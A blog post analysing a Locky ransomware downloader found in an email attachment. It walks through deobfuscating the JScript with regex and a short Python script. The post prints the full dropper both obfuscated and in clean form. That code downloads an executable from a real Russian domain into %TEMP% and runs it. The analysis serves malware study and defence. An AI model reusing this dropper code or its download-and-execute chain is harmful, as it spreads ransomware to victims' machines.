Ransomware is the new trend in malware development and it doesn’t seem to be dying out soon. I recently received another email with a locky downloader script attached and decided to take a look. It’s written in JScript, an ECMAScript implementation by Microsoft and uses methods of the Windows Script Host.
var _item = "WScri", Htax_post_tag_template_no_anchor = "o",
asc = "pt"; Yellowknife = "Creat"; var AuthorizedTransferMode = (function String.prototype.Dacca() { return "c"; }, "newText"); var delete_others_posts = "ject"; var redirect_network_admin_request = "W", Allowed = 25168, ip_port = "Scri",
LIST = ".She",
hierarchical_taxonomies = -867411252, pretext = "ll",
Study = "Expa", create = "dy", set_ = "iro"; core_update_footer = (function String.prototype.func_num_args() { return "n"; }, "formControls"), Kwanyama = 11340,
COUNT = "me",
items_list = "ntStr", manage_plugins_custom_column = "Resp",
Bebop = "ings", manage_network_users = "%TEMP"; var Hides = 2754654863344; var wo = "%"; var x0002 = "/",
limited_email_domains = -3129, bottom = "Frame";
chart = "State";
compression = "type"; updated = ".s", _fix_attachment_links = "cr", network_dashboard_right_now = 2, submenu_slug = "WS";
var inherit = "cri"; howto = -19642, Accepts = "p",
get_month = "Crea", Both = -23233; hidden_meta_boxes = "teObj", get_header_textcolor = "ect",
lt = (function Number.prototype.Arrange() { return 19822; }, 5930),
is_blog_admin = (function String.prototype.Detached() { return "MSXM"; }, "Citing"),
already_sorted = "L", discover = "te", Light = "2",
wp_shake_js = ".X";
var extracted = "save"; e54747 = "M",
network_enable = "LHT",
htm = 0;
var akismet_cron_recheck = "TP";
Accordion = "open";
permission = -135782688,
get_allowed_themes = "GET"; var believe = "ht", numFiles = -5365,
newDefaultColor = "tp://"; unique = "glad";
integers = (function Number.prototype.new_terms() { return -2509; }, -15271);
var ftp_mkdir = "i.boh", dataformat = "h.ru/";
var soundcloud = 25537, Dakar = "stem", useful = "ibra";
var transitions = 1;
var postajaxpost = "ry/";
bcn_init = "a.exe",
_defaultHSVControls = (function String.prototype.abbr() { return "o"; }, "encapsulated"), time_adj = 124410411;
var upgrader_pre_install = 4239, err_add_notfound = "ToF";
Santiago = 29349, akismet_transition_comment_status = "send", post_type = "Ru", display_invalid_version = "read"; UMASK = "s";
var Executes = 25112,
unveil = "tat"; var wp_the_query = "e"; var namediv = 17041, stub = 580424320, tl = (function Number.prototype.lastClicked() { return 14672; }, -14072), shortcode_parse_atts = (function Number.prototype.delete_comment_meta() { return -23696; }, -18964),
qeRow = "Scrip";
var privAddFileList = "t",
TinyPspellShell = 18976, format_meta_url = (function String.prototype.e006() { return "S"; }, "mozBlog");
var Stuff = "l",
hiearchal = 16268; autofocus = "ee"; quote_source_name = 100,
representing = -38836, sections = "WSc"; var fld = "ript",
Use = "pen";
begone = "C",
opts_upgrade = "rea", causing = "wri";
SO_SNDTIMEO = "teOb", itemType = "je",
suppress_filters = "nseB"; var got = "ct", post_params = "ADOD", Fix = "ositi", customize_login = "B.Str",
term_taxonomy_id = "eam";
offers = "il";
var serializeArray = "Sleep",
fix_scheduled_recheck = -14177;
var writability = "los",
submit_users = 25057,
disk_entries = 4347; wxr_filter_postmeta = (function Number.prototype.current_tab() { return 23036; }, -8114);
e187 = this;
try {
classchange = e187[_item + asc];
} catch (acquaintance) {
"space_allowed";
}
function Icons()
{
eval(unescape("%09%09default_contextual_help%20%3D%20classchange%5BYellowknife%20%2B%20%22eOb%22%20%2B%20delete_others_posts%5D%28redirect_network_admin_request%20%2B%20ip_port%20%2B%20asc%20%2B%20LIST%20%2B%20pretext%29%3B%0A%0A%09%09Out%20%3D%20default_contextual_help%5BStudy%20%2B%20%22ndEnv%22%20%2B%20set_%20%2B%20core_update_footer.func_num_args%28%29%20%2B%20COUNT%20%2B%20items_list%20%2B%20Bebop%5D%28manage_network_users%20%2B%20wo%20%2B%20x0002%29%20%2B%20bottom%20%2B%20chart%20%2B%20updated%20%2B%20_fix_attachment_links%3B%0A%0A%09%09raised%20%3D%20e187%5Bsubmenu_slug%20%2B%20inherit%20%2B%20Accepts%20%2B%20%22t%22%5D%5Bget_month%20%2B%20hidden_meta_boxes%20%2B%20get_header_textcolor%5D%28is_blog_admin.Detached%28%29%20%2B%20already_sorted%20%2B%20Light%20%2B%20wp_shake_js%20%2B%20e54747%20%2B%20network_enable%20%2B%20akismet_cron_recheck%29%3B%0A%0A%09%09raised%5BAccordion%5D%28get_allowed_themes%2Cbelieve%20%2B%20newDefaultColor%20%2B%20unique%20%2B%20%22ilk%22%20%2B%20ftp_mkdir%20%2B%20%22us%22%20%2B%20dataformat%20%2B%20%22sy%22%20%2B%20Dakar%20%2B%20%22/l%22%20%2B%20useful%20%2B%20postajaxpost%20%2B%20bcn_init%2C%28%28%20%2B%20time_adj%20/%20%20%2B%20upgrader_pre_install%29%20%5E%20%20%2B%20Santiago%29%29%3B%0A%0A%09%09raised%5Bakismet_transition_comment_status%5D%28%29%3B%0A%0A%09%09while%20%28raised%5Bdisplay_invalid_version%20%2B%20%22y%22%20%2B%20UMASK%20%2B%20unveil%20%2B%20wp_the_query%5D%20%3C%20%28%28%20%2B%20stub%20/%209890%29%20/%20%20%2B%20tl.lastClicked%28%29%29%29%0A%09%7B%0A%09%09e187%5Bredirect_network_admin_request%20%2B%20qeRow%20%2B%20privAddFileList%5D%5Bformat_meta_url.e006%28%29%20%2B%20Stuff%20%2B%20autofocus%20%2B%20Accepts%5D%28%20%2B%20quote_source_name%29%3B%0A%09%7D%0A%0A"));
}
Icons();
commentL10n = e187[sections + fld][begone + opts_upgrade + SO_SNDTIMEO + itemType + got](post_params + customize_login + term_taxonomy_id);
try {
e187[_item + asc][serializeArray](( + fix_scheduled_recheck, (14108 ^ (6696 ^ (16822080 / (((( + submit_users, ( + disk_entries, (265535972 / + wxr_filter_postmeta.current_tab()), ( + Hides / 23206))) / + Executes), ( - 19642 - + howto + ( + permission / + namediv)), ( - 4872 - (( + hierarchical_taxonomies ^ + Kwanyama) / 26838))) - ((((( + shortcode_parse_atts.delete_comment_meta() - ( - 28937, (( + numFiles - ( + Both, (((8059 + 12828) ^ 24100) + 22232))) + + TinyPspellShell))) ^ (( + limited_email_domains, + integers.new_terms(), 31230), ((16834) ^ + hiearchal), 20699)) + + Allowed) ^ ( + lt.Arrange())), (( + representing + + soundcloud), 20968))))))));
commentL10n[Htax_post_tag_template_no_anchor + Use]();
} catch (understand) {
"_dataport";
}
function trademark()
{
commentL10n[compression] = + transitions;
commentL10n[causing + discover](raised[manage_plugins_custom_column + Htax_post_tag_template_no_anchor + suppress_filters + _defaultHSVControls.abbr() + create]);
}
trademark();
function the_parent()
{
eval(unescape("%09%09commentL10n%5BAccepts%20%2B%20Fix%20%2B%20%22on%22%5D%20%3D%200%3B%0A%0A"));
}
the_parent();
function _wpCustomizeControlsL10n()
{
eval(unescape("%09%09commentL10n%5Bextracted%20%2B%20err_add_notfound%20%2B%20offers%20%2B%20%22e%22%5D%28Out%2C%20%2B%20network_dashboard_right_now%29%3B%0A%0A"));
}
_wpCustomizeControlsL10n();
commentL10n[AuthorizedTransferMode.Dacca() + writability + wp_the_query]();
default_contextual_help[post_type + "n"](Out,0, + htm);
The first step in making the code readable is inlining all the constants. To make that easier split the file into two new ones called code.js
and vars.js
.
There’s some urlencoded stuff in code.js
, just put it through an online tool or paste the unescape command in a Node.js shell. Use jsbeautifier to make it pretty.
The prototype functions can just be replaced with a static value. Use the regex replace feature of your text editor to remove everything that matches this:
\(function .+?\.prototype\..+?\(\) { return
; }, .+?\)
\.\w+\(\)
The two files should look like this now:
_item = "WScri",
Htax_post_tag_template_no_anchor = "o",
asc = "pt";
Yellowknife = "Creat";
AuthorizedTransferMode = "c";
delete_others_posts = "ject";
redirect_network_admin_request = "W",
Allowed = 25168,
ip_port = "Scri",
LIST = ".She",
hierarchical_taxonomies = -867411252,
pretext = "ll",
Study = "Expa",
create = "dy",
set_ = "iro";
core_update_footer = "n";
Kwanyama = 11340,
COUNT = "me",
items_list = "ntStr", manage_plugins_custom_column = "Resp",
Bebop = "ings", manage_network_users = "%TEMP";
Hides = 2754654863344;
wo = "%";
x0002 = "/",
limited_email_domains = -3129,
bottom = "Frame";
chart = "State";
compression = "type";
updated = ".s", _fix_attachment_links = "cr", network_dashboard_right_now = 2, submenu_slug = "WS";
inherit = "cri";
howto = -19642, Accepts = "p",
get_month = "Crea", Both = -23233;
hidden_meta_boxes = "teObj", get_header_textcolor = "ect",
lt = 19822;
is_blog_admin = "MSXM";
already_sorted = "L", discover = "te", Light = "2",
wp_shake_js = ".X";
extracted = "save";
e54747 = "M",
network_enable = "LHT",
htm = 0;
akismet_cron_recheck = "TP";
Accordion = "open";
permission = -135782688,
get_allowed_themes = "GET";
believe = "ht",
numFiles = -5365,
newDefaultColor = "tp://";
unique = "glad";
integers = -2509;
ftp_mkdir = "i.boh",
dataformat = "h.ru/";
soundcloud = 25537,
Dakar = "stem",
useful = "ibra";
transitions = 1;
postajaxpost = "ry/";
bcn_init = "a.exe",
_defaultHSVControls = "o";
time_adj = 124410411;
upgrader_pre_install = 4239,
err_add_notfound = "ToF";
Santiago = 29349, akismet_transition_comment_status = "send", post_type = "Ru", display_invalid_version = "read";
UMASK = "s";
Executes = 25112,
unveil = "tat";
wp_the_query = "e";
namediv = 17041,
stub = 580424320,
tl = 14672;
shortcode_parse_atts = -23696;
qeRow = "Scrip";
privAddFileList = "t",
TinyPspellShell = 18976,
format_meta_url = "S";
Stuff = "l",
hiearchal = 16268;
autofocus = "ee";
quote_source_name = 100,
representing = -38836, sections = "WSc";
fld = "ript",
Use = "pen";
begone = "C",
opts_upgrade = "rea", causing = "wri";
SO_SNDTIMEO = "teOb", itemType = "je",
suppress_filters = "nseB";
got = "ct",
post_params = "ADOD",
Fix = "ositi",
customize_login = "B.Str",
term_taxonomy_id = "eam";
offers = "il";
serializeArray = "Sleep",
fix_scheduled_recheck = -14177;
writability = "los",
submit_users = 25057,
disk_entries = 4347;
wxr_filter_postmeta = 23036;
e187 = this;
try {
classchange = e187[_item + asc];
} catch (acquaintance) {
"space_allowed";
}
function Icons() {
default_contextual_help = classchange[Yellowknife + "eOb" + delete_others_posts](redirect_network_admin_request + ip_port + asc + LIST + pretext);
Out = default_contextual_help[Study + "ndEnv" + set_ + core_update_footer + COUNT + items_list + Bebop](manage_network_users + wo + x0002) + bottom + chart + updated + _fix_attachment_links;
raised = e187[submenu_slug + inherit + Accepts + "t"][get_month + hidden_meta_boxes + get_header_textcolor](is_blog_admin + already_sorted + Light + wp_shake_js + e54747 + network_enable + akismet_cron_recheck);
raised[Accordion](get_allowed_themes, believe + newDefaultColor + unique + "ilk" + ftp_mkdir + "us" + dataformat + "sy" + Dakar + "/l" + useful + postajaxpost + bcn_init, ((+time_adj / +upgrader_pre_install) ^ +Santiago));
raised[akismet_transition_comment_status]();
while (raised[display_invalid_version + "y" + UMASK + unveil + wp_the_query] < ((+stub / 9890) / +tl)) {
e187[redirect_network_admin_request + qeRow + privAddFileList][format_meta_url + Stuff + autofocus + Accepts](+quote_source_name);
}
}
Icons();
commentL10n = e187[sections + fld][begone + opts_upgrade + SO_SNDTIMEO + itemType + got](post_params + customize_login + term_taxonomy_id);
try {
e187[_item + asc][serializeArray]((+fix_scheduled_recheck, (14108 ^ (6696 ^ (16822080 / ((((+submit_users, (+disk_entries, (265535972 / +wxr_filter_postmeta), (+Hides / 23206))) / +Executes), (-19642 - +howto + (+permission / +namediv)), (-4872 - ((+hierarchical_taxonomies ^ +Kwanyama) / 26838))) - (((((+shortcode_parse_atts - (-28937, ((+numFiles - (+Both, (((8059 + 12828) ^ 24100) + 22232))) + +TinyPspellShell))) ^ ((+limited_email_domains, +integers, 31230), ((16834) ^ +hiearchal), 20699)) + +Allowed) ^ (+lt)), ((+representing + +soundcloud), 20968))))))));
commentL10n[Htax_post_tag_template_no_anchor + Use]();
} catch (understand) {
"_dataport";
}
function trademark() {
commentL10n[compression] = +transitions;
commentL10n[causing + discover](raised[manage_plugins_custom_column + Htax_post_tag_template_no_anchor + suppress_filters + _defaultHSVControls + create]);
}
trademark();
function the_parent() {
commentL10n[Accepts + Fix + "on"] = 0;
}
the_parent();
function _wpCustomizeControlsL10n() {
commentL10n[extracted + err_add_notfound + offers + "e"](Out, +network_dashboard_right_now);
}
_wpCustomizeControlsL10n();
commentL10n[AuthorizedTransferMode + writability + wp_the_query]();
console.log(commentL10n);
default_contextual_help[post_type + "n"](Out, 0, +htm);
I wrote a Python script to do the remaining work for me
import re
# Finds pairs like 'item = "WScri",' or 'permission = -135782688;'
ASSIGN_RE = re.compile(r'(\w+) = ("[^"]+"|.\d+)')
# Finds a word inserted in the middle, the ([^\w]) make sure it's not part of
# another word. I know this is really ugly.
MAGIC2 = r'([^\w])({})([^\w])'
# Find the variables
var_cont = open("vars.js").read()
replacements = {}
for found in ASSIGN_RE.finditer(var_cont):
name, value = found.groups()
replacements[name] = value
# Replace them in the code
# Replace the middle word but keep the start and ending. This is a workaround
# for my inability to write proper regex
def replace(match):
return match.group(1) + replacements[match.group(2)] + match.group(3)
code = open("code.js").read()
code_new_f = open("code_new.js", "w")
code_new = code
for name, value in replacements.items():
# Replace all the variables with their values
code_new = re.sub(MAGIC2.format(name), replace, code_new)
# Remove unnecessare string joins like '"Wscrip" + "t"'
code_new = code_new.replace('" + "', '')
code_new_f.write(code_new)
code_new_f.close()
After running it you should get a file called code_new.js
with the final result.
e187 = this;
try {
classchange = e187["WScript"];
} catch (acquaintance) {
"space_allowed";
}
function Icons() {
default_contextual_help = classchange["CreateObject"]("WScript.Shell");
Out = default_contextual_help["ExpandEnvironmentStrings"]("%TEMP%/") + "FrameState.scr";
raised = e187["WScript"]["CreateObject"]("MSXML2.XMLHTTP");
raised["open"]("GET", "http://gladilki.bohush.ru/system/library/a.exe", ((+124410411 / +4239) ^ +29349));
raised["send"]();
while (raised["readystate"] < ((+580424320 / 9890) / +14672)) {
e187["WScript"]["Sleep"](+100);
}
}
Icons();
commentL10n = e187["WScript"]["CreateObject"]("ADODB.Stream");
try {
e187["WScript"]["Sleep"]((+-14177, (14108 ^ (6696 ^ (16822080 / ((((+25057, (+4347, (265535972 / +23036), (+2754654863344 / 23206))) / +25112), (-19642 - +-19642 + (+-135782688 / +17041)), (-4872 - ((+-867411252 ^ +11340) / 26838))) - (((((+-23696 - (-28937, ((+-5365 - (+-23233, (((8059 + 12828) ^ 24100) + 22232))) + +18976))) ^ ((+-3129, +-2509, 31230), ((16834) ^ +16268), 20699)) + +25168) ^ (+19822)), ((+-38836 + +25537), 20968))))))));
commentL10n["open"]();
} catch (understand) {
"_dataport";
}
function trademark() {
commentL10n["type"] = +transitions;
commentL10n["write"](raised["ResponseBody"]);
}
trademark();
function the_parent() {
commentL10n["position"] = 0;
}
the_parent();
function _wpCustomizeControlsL10n() {
commentL10n["saveToFile"](Out, +network_dashboard_right_now);
}
_wpCustomizeControlsL10n();
commentL10n["close"]();
console.log(commentL10n);
default_contextual_help["Run"](Out, 0, +htm);
The code is now mostly readable and you can find the payload url. By the time I read the email the file was already taken down, but with some search engine magic I could find it on dasmalwerk.eu. Unfortunately it didn’t work in my virtual machine.